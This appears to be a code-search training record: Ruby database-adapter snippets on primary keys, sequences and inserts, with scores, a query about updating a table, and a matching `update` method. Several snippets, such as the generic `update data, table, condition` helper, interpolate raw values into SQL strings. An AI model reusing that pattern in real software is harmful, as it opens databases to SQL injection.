"def reset_pk_sequence!(table, pk = nil, sequence = nil)\n if ! pk || ! sequence\n default_pk, default_sequence = pk_and_sequence_for(table)\n pk ||= default_pk; sequence ||= default_sequence\n end\n if pk && sequence\n quoted_sequence = quote_column_name(sequence)\n\n select_value <<-end_sql, 'Reset Sequence'\n SELECT setval('#{quoted_sequence}', (SELECT COALESCE(MAX(#{quote_column_name pk})+(SELECT increment_by FROM #{quoted_sequence}), (SELECT min_value FROM #{quoted_sequence})) FROM #{quote_table_name(table)}), false)\n end_sql\n end\n end",
"def reset_pk_sequence!(table_name, primary_key=nil, sequence_name=nil)\n primary_key, seq_schema, sequence_name = pk_and_sequence_for(table_name, true)\n if primary_key && !sequence_name\n @logger.warn \"#{table_name} has primary key #{primary_key} with no sequence\" if @logger\n end\n\n if primary_key && sequence_name\n seq_from_where = \"FROM information_schema.sequences \"+\n \"WHERE sequence_schema='#{quote_string(seq_schema)}' \"+\n \"AND sequence_name='#{quote_string(sequence_name)}'\"\n result = select_rows(\n \"SELECT COALESCE(MAX(#{quote_column_name(primary_key)} + (SELECT increment #{seq_from_where})), \"+\n \" (SELECT minimum_value #{seq_from_where})) \"+\n \"FROM #{quote_table_name(table_name)}\",\n SCHEMA_LOG_NAME\n )\n\n if result.length == 1\n # The COMMIT; BEGIN; can go away when 1) transactional DDL is available 2) There is a better restart/set function\n execute(\n \"COMMIT; \"+\n \"CALL sys.alter_seq_restart('#{quote_string(seq_schema)}', '#{quote_string(sequence_name)}', #{result[0][0]}); \"+\n \"BEGIN;\",\n SCHEMA_LOG_NAME\n )\n else\n @logger.warn \"Unable to determin max value for #{table_name}.#{primary_key}\" if @logger\n end\n end\n end",
"def pk_and_sequence_for(table)\n # try looking for a seq with a dependency on the table's primary key :\n result = select(<<-end_sql, 'PK and Serial Sequence')[0]\n SELECT attr.attname, seq.relname\n FROM pg_class seq,\n pg_attribute attr,\n pg_depend dep,\n pg_constraint cons\n WHERE seq.oid = dep.objid\n AND seq.relkind = 'S'\n AND attr.attrelid = dep.refobjid\n AND attr.attnum = dep.refobjsubid\n AND attr.attrelid = cons.conrelid\n AND attr.attnum = cons.conkey[1]\n AND cons.contype = 'p'\n AND dep.refobjid = '#{quote_table_name(table)}'::regclass\n end_sql\n\n if result.nil? || result.empty?\n # if that fails, try parsing the primary key's default value :\n result = select(<<-end_sql, 'PK and Custom Sequence')[0]\n SELECT attr.attname,\n CASE\n WHEN pg_get_expr(def.adbin, def.adrelid) !~* 'nextval' THEN NULL\n WHEN split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2) ~ '.' THEN\n substr(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2),\n strpos(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2), '.')+1)\n ELSE split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2)\n END as relname\n FROM pg_class t\n JOIN pg_attribute attr ON (t.oid = attrelid)\n JOIN pg_attrdef def ON (adrelid = attrelid AND adnum = attnum)\n JOIN pg_constraint cons ON (conrelid = adrelid AND adnum = conkey[1])\n WHERE t.oid = '#{quote_table_name(table)}'::regclass\n AND cons.contype = 'p'\n AND pg_get_expr(def.adbin, def.adrelid) ~* 'nextval|uuid_generate'\n end_sql\n end\n\n [ result['attname'], result['relname'] ]\n rescue\n nil\n end",
"def pk_and_sequence_for(table) #:nodoc:\n # First try looking for a sequence with a dependency on the\n # given table's primary key.\n result = select(<<-end_sql, 'PK and serial sequence')[0]\n SELECT attr.attname, seq.relname\n FROM pg_class seq,\n pg_attribute attr,\n pg_depend dep,\n pg_namespace name,\n pg_constraint cons\n WHERE seq.oid = dep.objid\n AND seq.relkind = 'S'\n AND attr.attrelid = dep.refobjid\n AND attr.attnum = dep.refobjsubid\n AND attr.attrelid = cons.conrelid\n AND attr.attnum = cons.conkey[1]\n AND cons.contype = 'p'\n AND dep.refobjid = '#{quote_table_name(table)}'::regclass\n end_sql\n\n if result.nil? or result.empty?\n # If that fails, try parsing the primary key's default value.\n # Support the 7.x and 8.0 nextval('foo'::text) as well as\n # the 8.1+ nextval('foo'::regclass).\n result = select(<<-end_sql, 'PK and custom sequence')[0]\n SELECT attr.attname,\n CASE\n WHEN split_part(def.adsrc, '''', 2) ~ '.' THEN\n substr(split_part(def.adsrc, '''', 2),\n strpos(split_part(def.adsrc, '''', 2), '.')+1)\n ELSE split_part(def.adsrc, '''', 2)\n END as relname\n FROM pg_class t\n JOIN pg_attribute attr ON (t.oid = attrelid)\n JOIN pg_attrdef def ON (adrelid = attrelid AND adnum = attnum)\n JOIN pg_constraint cons ON (conrelid = adrelid AND adnum = conkey[1])\n WHERE t.oid = '#{quote_table_name(table)}'::regclass\n AND cons.contype = 'p'\n AND def.adsrc ~* 'nextval'\n end_sql\n end\n\n [result[\"attname\"], result[\"relname\"]]\n rescue\n nil\n end",
"def insert(*args)\n r = super\n if s = opts[:sequence]\n with_sql(\"SELECT #{literal(s)}.currval FROM dual\").single_value.to_i\n else\n r\n end\n end",
"def primary_key!\n @primary_keys << @name\n end",
"def assign_objectid_primary_key\n self.class.objectid_columns_manager.assign_objectid_primary_key(self)\n end",
"def next_val_sequence(name)\n if self.class.to_s =~ /ActiveRecord::ConnectionAdapters::Mysql/\n self.insert_sql(\"INSERT INTO %s_sequence VALUES(NULL)\" % name)\n else\n # the default insert_sql is nonsense, but jdbc_mysql doesn't override it\n self.execute(\"INSERT INTO %s_sequence VALUES(NULL)\" % name)\n end\n end",
"def next_sequence_id\n last_sequence_id + 1\n end",
"def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n super\n\n exec_query('SELECT @@IDENTITY AS id')\n end",
"def primary_key(table)\n pk_and_sequence = pk_and_sequence_for(table)\n pk_and_sequence && pk_and_sequence.first\n end",
"def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n table = sql.split(\" \", 4)[2]\n super || last_insert_id(table, sequence_name || default_sequence_name(table, pk))\n end",
"def exec_insert(sql, name = nil, binds = [], pk = nil, sequence_name = nil)\n exec_query(sql, name, binds)\n end",
"def insert_sql(sql, name = nil, pri_key = nil, id_value = nil, sequence_name = nil)\n unless pri_key\n table_ref = extract_table_ref_from_insert_sql(sql)\n pri_key = primary_key(table_ref) if table_ref\n end\n\n if pri_key\n select_value(\"#{sql} RETURNING #{quote_column_name(pri_key)}\")\n else\n super\n end\n end",
"def primary_key(table_name)\n pk_and_sequence = pk_and_sequence_for(table_name)\n pk_and_sequence && pk_and_sequence.first\n end",
"def _insert\n ds = _insert_dataset\n if _use_insert_select?(ds) && (h = _insert_select_raw(ds))\n _save_set_values(h)\n nil\n else\n iid = _insert_raw(ds)\n # if we have a regular primary key and it's not set in @values,\n # we assume it's the last inserted id\n if (pk = autoincrementing_primary_key) && pk.is_a?(Symbol) && !(vals = @values)[pk]\n vals[pk] = iid\n end\n pk\n end\n end",
"def _insert\n ds = _insert_dataset\n if _use_insert_select?(ds) && (h = _insert_select_raw(ds))\n _save_set_values(h)\n nil\n else\n iid = _insert_raw(ds)\n # if we have a regular primary key and it's not set in @values,\n # we assume it's the last inserted id\n if (pk = autoincrementing_primary_key) && pk.is_a?(Symbol) && !(vals = @values)[pk]\n vals[pk] = iid\n end\n pk\n end\n end",
"def last_insert_id(table, sequence_name) #:nodoc:\n Integer(select_value(\"SELECT currval('#{sequence_name}')\"))\n end",
"def pre_insert(sql, name, pk, id_value, sequence_name)\n @logger.unknown(\"ODBCAdapter#pre_insert>\") if @trace\n @logger.unknown(\"args=[#{sql}|#{name}|#{pk}|#{id_value}|#{sequence_name}]\") if @trace\n @iiTable = get_table_name(sql)\n @iiCol = get_autounique_column(@iiTable)\n @logger.unknown(\"@iiCol=#{@iiCol}>\") if @trace\n @iiEnabled = false\n\n if @iiCol != nil\n if query_contains_autounique_col(sql, @iiCol)\n begin\n remove_null_sequence_value_from_sql(sql, @iiCol)\n rescue Exception => e\n raise ActiveRecordError, \"IDENTITY_INSERT could not be turned on\"\n end\n end\n end\n end",
"def pre_insert(sql, name, pk, id_value, sequence_name)\n @iiTable = get_table_name(sql)\n @iiCol = get_autounique_column(@iiTable)\n @iiEnabled = false\n\n if @iiCol != nil\n if query_contains_autounique_col(sql, @iiCol)\n begin\n @connection.do(enable_identity_insert(@iiTable, true))\n @iiEnabled = true\n rescue Exception => e\n raise ActiveRecordError, \"IDENTITY_INSERT could not be turned on\"\n end\n end\n end\n end",
"def primary_key\n @primary_key ||= :id\n end",
"def pre_insert(sql, name, pk, id_value, sequence_name)\n @logger.unknown(\"ODBCAdapter#pre_insert>\") if @trace\n @logger.unknown(\"args=[#{sql}|#{name}|#{pk}|#{id_value}|#{sequence_name}]\") if @trace\n @iiTable = get_table_name(sql)\n @logger.unknown(\"@iiTable=#{@iiTable}\") if @trace\n @iiCol = get_autounique_column(@iiTable)\n @logger.unknown(\"@iiCol=#{@iiCol}\") if @trace\n\n if @iiCol != nil\n if query_contains_autounique_col(sql, @iiCol)\n begin\n remove_null_sequence_value_from_sql(sql, @iiCol)\n# rescue Exception => e\n# raise ActiveRecordError, \"IDENTITY_INSERT could not be turned on\"\n end\n end\n end\n end",
"def serial_primary_key_options\n {:primary_key => true, :type => :integer, :auto_increment => true}\n end",
"def serial_primary_key_options\n {:primary_key => true, :type => :integer, :auto_increment => true}\n end",
"def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [])\n sql, binds = sql_for_insert(to_sql(arel, binds), pk, id_value, sequence_name, binds)\n value = exec_insert(sql, name, binds)\n id_value\n end",
"def insert(arel, name = nil, pk = nil, id_value = nil, sequence_name = nil, binds = [])\n exec_insert(to_sql(arel), name, binds)\n retval = last_inserted_id(nil)\n retval = id_value if retval == 0\n return retval\n end",
"def initialize\n \t @id = @@next_table_id\n \t @@next_table_id += 1\n end",
"def serial_primary_key_options\n {:primary_key => true, :type => Integer, :auto_increment => true}\n end",
"def serial_primary_key_options\n {:primary_key => true, :type => Integer, :auto_increment => true}\n end",
"def test_reset_empty_table_with_custom_pk_sequence\n @connection.exec_query(\"CREATE SEQUENCE widgets_seq\")\n @connection.exec_query(\"\n CREATE TABLE widgets (\n widgetid INT PRIMARY KEY DEFAULT nextval('widgets_seq'),\n name string\n )\n \")\n assert_equal 1, Widget.create(name: \"weather\").id\n end",
"def test_reset_empty_table_with_custom_pk_sequence\n @connection.exec_query(\"CREATE SEQUENCE widgets_seq\")\n @connection.exec_query(\"\n CREATE TABLE widgets (\n widgetid INT PRIMARY KEY DEFAULT nextval('widgets_seq'),\n name string\n )\n \")\n assert_equal 1, Widget.create(name: \"weather\").id\n end",
"def primary_key(value=nil)\n self.primary_key = value unless value.nil?\n \n @primary_key ||= :id\n end",
"def default_sequence_name(table_name, pk = \"id\")\n nil\n end",
"def ensure_id\n self[:_id] = ( id ? escape_doc_id : database.server.next_uuid )\n end",
"def ensure_id\n self[:_id] = ( id ? escape_doc_id : database.server.next_uuid )\n end",
"def add(sequence, name)\n \n # make a new id\n id = @id_posn += 1\n \n @names[id] = name # name of sequence\n @database[id] = sequence # the sequence itself\n \n # generate kmers and add them to db\n # O of L/K\n (sequence.length - @k).times do |n|\n kmer = sequence[n, @k]\n # O?\n @hash_table[kmer] << id\n end\n end",
"def last_insert_id(table, sequence_name) #:nodoc:\n identity = select_value(\"SELECT scope_identity()\")\n if identity.class == System::DBNull\n nil\n else\n System::Convert.to_int32(identity)\n end\n end",
"def pk_from_insert_sql(sql)\n sql[/into\\s+([^\\(]*).*values\\s*\\(/i]\n primary_key($1.strip) if $1\n end",
"def pk_from_insert_sql(sql)\n sql[/into\\s+([^\\(]*).*values\\s*\\(/i]\n primary_key($1.strip) if $1\n end",
"def save_primary_key_grip; end",
"def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n # Extract the table from the insert sql. Yuck.\n table = sql.split(\" \", 4)[2].gsub('\"', '')\n\n # Otherwise, insert then grab last_insert_id.\n if insert_id = super\n insert_id\n else\n # If neither pk nor sequence name is given, look them up.\n unless pk || sequence_name\n pk, sequence_name = *pk_and_sequence_for(table)\n end\n\n # If a pk is given, fallback to default sequence name.\n # Don't fetch last insert id for a table without a pk.\n if pk && sequence_name ||= default_sequence_name(table, pk)\n last_insert_id(table, sequence_name)\n end\n end\n end",
"def primary_key(table_name)\n pk = super\n\n if pk == CockroachDBAdapter::DEFAULT_PRIMARY_KEY\n nil\n else\n pk\n end\n end",
"def sequence_id\n object.sequence._id.to_s\n end",
"def next_sequence_value(sequence_name)\n select_one(\"select #{sequence_name}.nextval id from dual\")['id']\n end",
"def last_insert_id(sequence_name)\n r = exec_query(\"SELECT currval('#{sequence_name}')\", 'SQL')\n Integer(r.rows.first.first)\n end",
"def post_insert(sql, name, pk, id_value, sequence_name)\n if @iiEnabled\n begin\n @connection.do(enable_identity_insert(@iiTable, false))\n rescue Exception => e\n raise ActiveRecordError, \"IDENTITY_INSERT could not be turned off\"\n end\n end\n end",
"def post_insert(sql, name, pk, id_value, sequence_name)\n if @iiEnabled\n begin\n @connection.do(enable_identity_insert(@iiTable, false))\n rescue Exception => e\n raise ActiveRecordError, \"IDENTITY_INSERT could not be turned off\"\n end\n end\n end",
"def pk_and_sequence_for(table) #:nodoc:\n result = query(<<-end_sql, 'PK and serial sequence')[0]\n SELECT columns.column_name, columns.column_default \n FROM primary_keys \n LEFT JOIN columns \n USING(table_name, column_name)\n WHERE primary_keys.table_name = '#{table_name.gsub(/(^\"|\"$)/,'')}'\n end_sql\n \n if result.length == 0\n return nil\n elsif result[0][1].nil?\n return nil\n else\n default_value = result[0][1]\n seq_name = default_value.match(/\\(\\'(\\w+)\\'\\)/).to_a.last\n return [result[0][0], seq_name]\n end\n rescue\n nil\n end",
"def reserve_id(doi:)\n doi\n end",
"def primary_key(table, field)\n execute \"ALTER TABLE #{table} ADD PRIMARY KEY(#{field_list(field)})\"\n end",
"def insert\n col_names = self.class.columns.join(\", \")\n question_marks = ([\"?\"] * self.class.columns.length).join(\", \")\n DBConnection.execute(<<-SQL, *attribute_values)\n INSERT INTO\n #{self.class.table_name} (#{col_names})\n VALUES\n (#{question_marks})\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end",
"def orchestrate_primary_key\n id\n end",
"def set_primary_key_attribute\n base = {}\n base[primary_key] = id\n\n attributes.update(base)\n end",
"def primary_key\n @primary_key || 'id'\n end",
"def sql_for_insert(sql, pk, id_value, sequence_name, binds)\n unless pk\n table_ref = extract_table_ref_from_insert_sql(sql)\n pk = primary_key(table_ref) if table_ref\n end\n\n sql = \"#{sql} RETURNING #{quote_column_name(pk)}\" if pk\n\n [sql, binds]\n end",
"def set_primary_key(key)\n clear_setter_methods_cache\n if key.is_a?(Array)\n if key.length < 2\n key = key.first\n else\n key = key.dup.freeze\n end\n end\n self.simple_pk = if key && !key.is_a?(Array)\n (@dataset || db).literal(key).freeze\n end\n @primary_key = key\n end",
"def set_primary_key(key)\n clear_setter_methods_cache\n if key.is_a?(Array)\n if key.length < 2\n key = key.first\n else\n key = key.dup.freeze\n end\n end\n self.simple_pk = if key && !key.is_a?(Array)\n (@dataset || db).literal(key).freeze\n end\n @primary_key = key\n end",
"def default_sequence_name(table_name, pk = nil) #:nodoc:\n result = serial_sequence(table_name, pk || 'id')\n return nil unless result\n Utils.extract_schema_qualified_name(result).to_s\n rescue ActiveRecord::StatementInvalid\n Redshift::Name.new(nil, \"#{table_name}_#{pk || 'id'}_seq\").to_s\n end",
"def pk_and_sequence_for(table_name)\n (owner, table_name) = @connection.describe(table_name)\n\n # RSI: changed select from all_constraints to user_constraints - much faster in large data dictionaries\n pks = select_values(<<-SQL, 'Primary Key')\n select cc.column_name\n from user_constraints c, user_cons_columns cc\n where c.owner = '#{owner}'\n and c.table_name = '#{table_name}'\n and c.constraint_type = 'P'\n and cc.owner = c.owner\n and cc.constraint_name = c.constraint_name\n SQL\n\n # only support single column keys\n pks.size == 1 ? [oracle_downcase(pks.first), nil] : nil\n end",
"def insert\n # the array of ::columns of the class joined with commas, drop id\n col_names = self.class.columns[1..-1].join(\", \") \n # an array of question marks\n question_marks = ([\"?\"] * col_names.split.size).join(\", \")\n\n DBConnection.execute(<<-SQL, *attribute_values[1..-1])\n INSERT INTO\n #{self.class.table_name} (#{col_names})\n VALUES\n (#{question_marks})\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end",
"def assign_tx_seq_num\n self.update(tx_seq_num: Order.max_tx_seq_num + 1) \n end",
"def force_primary_key(klass)\n # Automatically add an :oid serializable field if none is\n # defined and no other primary key is defined.\n if klass.primary_key == :oid and !klass.instance_attributes.include?(:oid)\n klass.attr_accessor :oid, Fixnum, :sql => primary_key_type\n end\n end",
"def primary_key(table)\n t = dataset.send(:input_identifier, table)\n @primary_keys.fetch(t) do\n pk = fetch(\"SELECT RDB$FIELD_NAME FROM RDB$INDEX_SEGMENTS NATURAL JOIN RDB$RELATION_CONSTRAINTS WHERE RDB$CONSTRAINT_TYPE = 'PRIMARY KEY' AND RDB$RELATION_NAME = ?\", t).single_value\n @primary_keys[t] = dataset.send(:output_identifier, pk.rstrip) if pk\n end\n end",
"def create_sequence_statement(repository, property)\n \"CREATE SEQUENCE #{quote_column_name(sequence_name(repository, property))}\"\n end",
"def inc_seq_no!()\n @seq_no += 1\n return(nil)\n end",
"def insert_id!(arr, insertable)\n arr << insertable\n insertable\nend",
"def primary_key\n 'id'\n end",
"def primary_key\n '_id'\n end",
"def primary_key=(key)\n @primary_key = key\n end",
"def default_sequence_name(table_name, pk = nil) #:nodoc:\n default_pk, default_seq = pk_and_sequence_for(table_name)\n default_seq || \"#{table_name}_#{pk || default_pk || 'id'}_seq\"\n end",
"def primary_key_constraint_sql_fragment(_)\n 'PRIMARY KEY'\n end",
"def primary_key(name, type = :primary_key, options = {})\n return super unless type == :uuid\n options[:default] = options.fetch(:default, 'uuid_generate_v4()')\n options[:primary_key] = true\n column name, type, options\n end",
"def primary_key(name, type = :primary_key, options = {})\n return super unless type == :uuid\n options[:default] = options.fetch(:default, 'uuid_generate_v4()')\n options[:primary_key] = true\n column name, type, options\n end",
"def primary_key\n self[:primary_key] ||= associated_class.primary_key\n end",
"def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n execute(sql, name)\n id_value\n end",
"def insert\n\n DBConnection.execute2(<<-SQL, attribute_values)\n INSERT INTO\n #{class_obj.table_name} #{sql_columns}\n VALUES\n #{sql_question_marks}\n SQL\n\n self.id = DBConnection.last_insert_row_id\n end",
"def create\r\n if self.id.nil? && connection.prefetch_primary_key?(self.class.table_name)\r\n self.id = connection.next_sequence_value(self.class.sequence_name)\r\n end\r\n\r\n quoted_attributes = attributes_with_quotes\r\n\r\n statement = if quoted_attributes.empty?\r\n connection.empty_insert_statement(self.class.table_name)\r\n else\r\n \"INSERT INTO #{self.class.quoted_table_name} \" +\r\n \"(#{quoted_column_names.join(', ')}) \" +\r\n \"VALUES(#{quoted_attributes.values.join(', ')})\"\r\n end\r\n\r\n self.id = connection.insert(statement, \"#{self.class.name} Create\",\r\n self.class.primary_key, self.id, self.class.sequence_name)\r\n\r\n @new_record = false\r\n id\r\n end",
"def primary_key(*attributes)\n if attributes.size == 1 and String===attributes[0]\n @relvar.set_primary_key(@relvar.candidate_key(attributes[0], true))\n else\n name = String===attributes[0] ? attributes.shift : \"pk_#{@relvar.name}\"\n attributes.unshift(name)\n @relvar.set_primary_key(candidate_key(*attributes))\n end\n end",
"def generate(init)\n subject.transaction do\n # Create a record in internal_ids if one does not yet exist\n # and increment its last value\n #\n # Note this will acquire a ROW SHARE lock on the InternalId record\n (lookup || create_record(init)).increment_and_save!\n end\n end",
"def insert(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)\n insert_sql(sql, name, pk, id_value, sequence_name)\n end",
"def default_sequence_name(table_name, pri_key = nil)\n serial_sequence(table_name, pri_key || 'id').split('.').last\n rescue ActiveRecord::StatementInvalid\n \"#{table_name}_#{pri_key || 'id'}_seq\"\n end",
"def pk_and_sequence_for(table_name, with_seq_schema = false)\n result = select_rows(\n \"SELECT kc.column_name, \"+\n (with_seq_schema ? \"c.sequence_schema, \" : \"\") +\n \" c.sequence_name \"+\n \"FROM information_schema.table_constraints tc \"+\n \"INNER JOIN information_schema.key_column_usage kc \"+\n \" ON tc.table_schema = kc.table_schema \"+\n \" AND tc.table_name = kc.table_name \"+\n \" AND tc.constraint_name = kc.constraint_name \"+\n \"LEFT JOIN information_schema.columns c \"+\n \" ON kc.table_schema = c.table_schema \"+\n \" AND kc.table_name = c.table_name \"+\n \" AND kc.column_name = c.column_name \"+\n \"WHERE tc.table_schema = CURRENT_SCHEMA \"+\n \" AND tc.table_name = '#{table_name}' \"+\n \" AND tc.constraint_type = 'PRIMARY KEY'\",\n SCHEMA_LOG_NAME\n )\n (result.length == 1) ? result[0] : nil\n rescue\n nil\n end",
"def add_primary_keys(klazz, string)\n string << \" set_primary_key #{klazz.fields.select {|f| f[:primarykey]}.map {|pk| pk.name.to_sym}.inspect}\\n\\n\"\n string\n end",
"def primary_key\n @primary_key\n end",
"def create_sequence(repository, property)\n return if sequence_exists?(repository, property)\n execute(create_sequence_statement(repository, property))\n end",
"def insert_id\n rID = @ID\n\n @CallsList << [ 'insert_id', @ID ]\n @ID += 1\n\n return rID\n end",
"def alloc\n if @seqs.empty?\n @seq_i += 1\n \"seq#{@seq_i}_\"\n else\n @seqs.pop\n end\n end",
"def primary_key(table_name)\n 'id' # table.primary_key || 'id'\n end"
] |
[
"0.6798957",
"0.67284274",
"0.6689262",
"0.6686622",
"0.66330767",
"0.66164786",
"0.66038424",
"0.66038424",
"0.6461906",
"0.64407325",
"0.6437145",
"0.64316994",
"0.62496734",
"0.6223949",
"0.6220948",
"0.6183803",
"0.61683446",
"0.6158695",
"0.61476517",
"0.6142947",
"0.6137605",
"0.6101272",
"0.6098842",
"0.6082662",
"0.60387284",
"0.5991832",
"0.5989035",
"0.5971047",
"0.5971047",
"0.59563357",
"0.5945118",
"0.59328014",
"0.59318423",
"0.5926288",
"0.5903153",
"0.5903153",
"0.58929974",
"0.58927476",
"0.5885464",
"0.5884323",
"0.5884323",
"0.5876652",
"0.5876652",
"0.5862566",
"0.5858368",
"0.58511305",
"0.5851054",
"0.5849854",
"0.58131427",
"0.5805307",
"0.5805307",
"0.57837504",
"0.5779537",
"0.5772649",
"0.57654965",
"0.5755831",
"0.5710094",
"0.5698454",
"0.5698454",
"0.5692156",
"0.56880397",
"0.56656927",
"0.5655598",
"0.56490976",
"0.56354916",
"0.5634482",
"0.5630308",
"0.5627808",
"0.5627808",
"0.5626914",
"0.5613952",
"0.5607716",
"0.5606093",
"0.55974007",
"0.5594073",
"0.55811703",
"0.55808365",
"0.5580677",
"0.5578756",
"0.5573825",
"0.55703294",
"0.55693245",
"0.5567848",
"0.556322",
"0.556322",
"0.55595267",
"0.5555196",
"0.55527747",
"0.5544316",
"0.5544136",
"0.55409217",
"0.5536125",
"0.55357647",
"0.55349296",
"0.5529967",
"0.55299425",
"0.55034244",
"0.55028325",
"0.5499179",
"0.54963434"
] |
0.70880693
|
0
|
update a table with new data
|
def update(row)
table = row.type
fields = row.changed_fields
return if fields.empty?
sql = "update #{table.name}\nset\t"
sql << fields.map{|field| "#{field} = ?"}.join(",\n\t")
sql << ",\n\t_version = _version + 1\n"
sql << "where\t"
sql << table.primary_key.name.to_s << " = ?\n"
sql << " and\t_version = ?"
# now get the values for the changed rows
vals = fields.map do |f|
v = row.send(f)
v = nil if v.type == String and v.empty?
v
end
vals << row.send(table.primary_key.name)
vals << row._version
rpc = db.do(sql, *vals)
if rpc != 1
msg = "Expected to update one row, but updated #{rpc}: #{sql}\n\n" +
vals.map {|v| v.inspect} .join("\n")
$stderr.puts msg
end
row._version += 1
row.reset_changed
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update_record(table, values, org_key = nil)\n update table_update_query(table, values, org_key)\n end",
"def update(table,cond,op)\n connection.update(path(table),cond,op)\n end",
"def update(table, id, attributes) # abstract\n end",
"def update data, table, condition = {}\n sql = \"update #{table} set\"\n data.each do |k,v|\n v = v.to_json if v.is_a?(Hash)\n if !!v == v\n sql = \"#{sql} #{k}=#{v},\"\n else\n sql = \"#{sql} #{k}='#{v}',\"\n end\n end\n sql = sql[0..-2] + \" where\"\n condition.each do |k,v|\n sql = \"#{sql} #{k} = '#{v}' and\"\n end\n query(sql[0..-4])\n end",
"def update(newdata)\n self.class.db.update(self.class.table, newdata, {:id => @id})\n self.should_reload\n self.class.ob.call(\"object\" => self, \"signal\" => \"update\")\n end",
"def update\n check_fields\n sql = \"UPDATE #{table} SET #{to_update_record_str} WHERE id=#{@id}\"\n Database.transaction(sql)\n @log.debug \"Record[#{self}] is updated on Table[#{table}]\"\n end",
"def update(sql, name = nil) end",
"def update!(**args)\n @initial_splits = args[:initial_splits] if args.key?(:initial_splits)\n @table = args[:table] if args.key?(:table)\n @table_id = args[:table_id] if args.key?(:table_id)\n end",
"def update\n record.assign_attributes(data)\n record.save! if record.changed?\n end",
"def update(model)\n id, data = model.primary_key_value, model.changes_for_save\n store.update(id, data, table: table_name)\n end",
"def update!(**args)\n @header = args[:header] if args.key?(:header)\n @is_table = args[:is_table] if args.key?(:is_table)\n @row = args[:row] if args.key?(:row)\n @total_rows = args[:total_rows] if args.key?(:total_rows)\n end",
"def update!(**args)\n @schema = args[:schema] if args.key?(:schema)\n @table = args[:table] if args.key?(:table)\n end",
"def update!(**args)\n @schema = args[:schema] if args.key?(:schema)\n @table = args[:table] if args.key?(:table)\n end",
"def rebuild(table); end",
"def update\r\n end",
"def update_row(hash)\n raise ORM::TableError, \"Something went wrong.\" unless hash[:id].present?\n\n result_table = table.map! { |e| e[:id] == hash[:id] ? e = e.merge!(hash) : e }\n File.write(@table_path, JSON.generate(result_table))\n end",
"def update_table_sql(sql)\n sql << ' '\n source_list_append(sql, @opts[:from][0..0])\n end",
"def update(table, id, updated_record_hash)\n self.post(\"/#{table}/update/#{id}\", body: {record: updated_record_hash})\n end",
"def update ; end",
"def update!(**args)\n @existing_schema = args[:existing_schema] if args.key?(:existing_schema)\n @new_schema = args[:new_schema] if args.key?(:new_schema)\n @sampled_data_locations = args[:sampled_data_locations] if args.key?(:sampled_data_locations)\n @schema_change = args[:schema_change] if args.key?(:schema_change)\n @table = args[:table] if args.key?(:table)\n end",
"def call(_obj, args, _ctx)\n\n update_table = Table.find(args[:table_id])\n return update_table if update_table.update_attributes(name: args[:name], quantity: args[:quantity])\n GraphQL::ExecutionError.new(\"invalid data\")\n end",
"def update\n\n end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update!(**args)\n @postgresql_columns = args[:postgresql_columns] if args.key?(:postgresql_columns)\n @table = args[:table] if args.key?(:table)\n end",
"def update_audit_table\n logger.info \"Updating audit schema with modifications in table '#{name}'\"\n\n unversioned_filter = versioning_enabled ? '1 = 1' : '`_has_violation` = 0' \n\n q_rows_to_update = <<-EOS\n SELECT #{pkey_selection(audit)} \n FROM #{audit} \n WHERE `_has_delta`= 1 AND #{unversioned_filter} \n EOS\n\n db.query(q_rows_to_update).each do |row|\n watched_row = db.query(\"SELECT * FROM #{watched} WHERE #{condition_from_hashes(row)}\").to_a[0]\n db.query(\"UPDATE #{audit} SET #{assignment_from_hash(watched_row, self)} WHERE #{condition_from_hashes(row)}\")\n end\n end",
"def update\r\n\r\n end",
"def update_records(table_name, old_records, new_records)\n raise \"implement in subclass\"\n end",
"def update\n connection.update(\n \"UPDATE #{self.class.table_name} \" +\n \"SET #{quoted_comma_pair_list(connection, attributes_with_quotes)} \" +\n \"WHERE #{self.class.primary_key} = '#{id}'\",\n \"#{self.class.name} Update\"\n )\n end",
"def update!(**args)\n @results_table = args[:results_table] if args.key?(:results_table)\n end",
"def update!(**args)\n @results_table = args[:results_table] if args.key?(:results_table)\n end",
"def update!(**args)\n @oracle_columns = args[:oracle_columns] if args.key?(:oracle_columns)\n @table = args[:table] if args.key?(:table)\n end",
"def update\r\n end",
"def update\r\n end",
"def update\r\n end",
"def update\r\n end",
"def update #:nodoc:\n connection.update(\n \"UPDATE #{self.class.table_name} \" +\n \"SET #{quoted_comma_pair_list(connection, special_attributes_with_quotes(false))} \" +\n \"WHERE #{self.class.primary_key} = #{quote_value(id)}\",\n \"#{self.class.name} Update\"\n )\n end",
"def update() end",
"def update!(**args)\n @delete_all_data_from_table = args[:delete_all_data_from_table] if args.key?(:delete_all_data_from_table)\n @row_key_prefix = args[:row_key_prefix] if args.key?(:row_key_prefix)\n end",
"def update()\n sql = \"UPDATE cities SET(name, country_id, visited, rate) = ($1, $2, $3, $4) WHERE id = $5\"\n values = [@name, @country_id, @visited, @rate, @id]\n SqlRunner.run(sql, values)\n end",
"def update()\n sql = \"UPDATE customers (name, funds) = ($1, $2) WHERE id = $3\"\n values = [@name, @funds, @id]\n SqlRunner.run(sql,values)\n# => Updating only, no need to return any array\n end",
"def update()\n #connect to db\n db = PG.connect({ dbname: \"bounty_hunters\", host: \"localhost\" })\n #write big SQL statement string\n sql = \"UPDATE bounties\n SET\n (\n name,\n species,\n bounty_value,\n favourite_weapon\n ) =\n (\n $1, $2, $3, $4\n )\n WHERE id = $5\"\n\n #make array of values for prepared statement\n values = [@name, @species, @bounty_value, @favourite_weapon, @id]\n #prepare statement\n db.prepare(\"update\", sql)\n #run statement with db\n db.exec_prepared(\"update\", values)\n #close link to db\n db.close()\n end",
